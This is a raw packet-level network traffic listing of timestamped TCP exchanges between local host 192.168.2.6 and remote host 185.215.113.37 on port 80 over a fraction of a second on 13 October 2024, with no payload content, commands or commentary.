Oct 13, 2024 00:47:52.485546112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485563993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485574007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485594034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485614061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485796928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485814095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485827923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485836983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485845089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485853910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485862017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485869884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485876083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485887051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485893965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485903978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485908985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485919952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485924959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485939026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485941887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485954046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485959053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485968113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485975027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.485985041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.485991955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486001968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486010075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486018896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486027956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486037016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486044884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486053944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486061096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486068964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486077070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486085892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486094952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486100912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486118078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486134052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486241102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486278057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486347914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486363888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486380100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486386061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486397982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486402988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486416101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486419916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486433029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486437082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486450911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486454010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486469984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.486471891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486489058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.486505985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.489912033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.489945889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.489960909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.489964008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.489984989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490003109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490047932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490063906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490080118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490082026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490098000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490098000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490113020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490130901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490174055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490190983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490206957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490225077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490226030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490226030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490242958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490257025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490315914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490331888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490348101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490350962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490361929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.490369081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490386963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.490402937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.571858883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.571921110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.571933031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.571953058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.571970940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.571991920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.571995020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572014093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572027922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572030067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572047949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572047949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572062969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572078943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572124958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572143078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572160959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572173119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572211027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572226048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572247982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572248936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572264910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572279930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572349072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572381973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572384119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572401047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572416067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572417974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572432041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572433949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572448969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572453022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572465897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572468996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572484016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572485924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572503090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572563887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572566986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572582006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572596073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572597027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572612047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572613001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572649956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572649956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572690010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572705030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572721004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572724104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572736979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572738886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572757006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572772980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572812080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572828054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572846889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572849989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572863102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572864056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572880983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572890043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572897911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572909117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572922945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572923899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572941065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572942972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572957039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572957993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.572972059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.572988987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573177099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573195934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573213100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573218107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573235035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573241949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573252916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573257923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573273897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573273897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573287964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573291063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573306084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573307991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573322058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573324919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573339939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573343039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573358059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573364973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573374987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573381901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573396921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573398113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573414087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573414087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573431969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573436022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573455095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573470116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573606968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573623896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573641062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573656082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573702097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573715925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573729992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573741913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573746920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573754072 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573764086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573771000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573781013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573788881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573803902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573818922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573823929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573839903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573856115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573858023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573873043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573874950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573889971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573889971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573909998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573914051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573925972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573925972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573941946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573944092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573960066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573961020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573978901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.573981047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573997974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.573999882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574016094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574019909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574037075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574055910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574287891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574302912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574316978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574321032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574332952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574337006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574354887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574371099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574424028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574440002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574454069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574459076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574472904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574475050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574491978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574507952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574517965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574551105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574703932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574721098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574738026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574738979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574752092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574754953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574771881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574790001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574794054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574806929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574824095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574824095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574841022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574848890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574857950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574860096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574873924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574877024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574892044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574892998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574908972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.574914932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574933052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.574949026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575025082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575040102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575057030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575063944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575073957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575076103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575093031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575093031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575108051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575112104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575125933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575138092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575242043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575259924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575274944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575277090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575294018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575295925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575311899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575314045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575330019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575330973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575349092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.575350046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575367928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.575392962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.578824997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.578845024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.578901052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.578927040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579013109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579047918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579050064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579065084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579080105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579099894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579170942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579189062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579205036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579209089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579222918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579222918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579237938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579253912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579312086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579328060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579344988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579349041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579365969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579381943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579421043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579437017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579452038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:52.579459906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579477072 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:52.579493046 CEST	49711	80	192.168.2.6	185.215.113.37
